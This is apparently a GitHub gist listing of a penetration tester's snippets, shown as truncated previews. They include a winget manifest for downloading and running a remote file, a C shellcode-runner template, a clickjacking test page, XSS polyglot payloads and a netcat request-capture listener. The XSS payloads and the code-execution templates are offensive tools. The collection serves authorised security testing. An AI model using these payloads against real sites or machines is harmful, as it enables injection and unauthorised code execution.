saulpanders
saulpanders
/ winget-manifest-test.yml
Created
January 3, 2022 04:01
Sample manifest file to use with winget.exe to download and execute a remote file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| PackageIdentifier: TestInstall | |
| PackageVersion: 1.0.0 | |
| PackageLocale: en-US | |
| Publisher: Acme | |
| PackageName: Test | |
| License: MIT | |
| ShortDescription: WinGet test | |
| Installers: | |
| - Architecture: x64 | |
| InstallerType: exe |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import http.server | |
| import socketserver | |
| PORT = 8080 | |
| Handler = http.server.SimpleHTTPRequestHandler | |
| Handler.extensions_map.update({ | |
| '.wasm': 'application/wasm', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| # shellcode goes here | |
| unsigned char buf[] = | |
| "\x90"; | |
| int main(){ | |
| int (*ret)(); | |
| ret = (int(*)())buf; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head> | |
| <title>HTML Application (HTA)</title> | |
| <meta http-equiv="x-ua-compatible" content="ie=9"> | |
| </head> | |
| <body> | |
| <p>Misc HTML elements</p> |
saulpanders
/ simpleserver.js
Created
December 10, 2020 03:45
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var http = require('http'); | |
| http.createServer(function (req, res) { | |
| res.writeHead(200, {'Content-Type': 'text/html'}); | |
| res.end('Hello World!'); | |
| }).listen(8080); | |
| console.log("yo, check port 8080") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| wget -E -H -k -K -p -nd -o logwget.txt --directory-prefix /var/www/html <target> |
saulpanders
/ clickjack_test.html
Created
April 30, 2020 22:38
HTML template for testing clickjacking
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head> | |
| <title>Clickjack Test</title> | |
| </head> | |
| <body> | |
| <p>Website at "xxx" vulnerable to clickjacking!</p> | |
| <iframe src="xxx" width="650" height="650"></iframe> | |
| </body> | |
| </html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e | |
| '--><svg onload=alert()> | |
| javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #! /bin/bash | |
| # https://gist.github.com/Plazmaz/cafd0bd3a3a4471446cc8fe6e4f0c036 | |
| sudo bash -c 'while true; do echo "HTTP/1.1 200 OK\n\n" |nc -l -p 80 |egrep -v "Accept" |egrep -v "Content-Length" |egrep -v "Host" |egrep -vi "cache"; done' |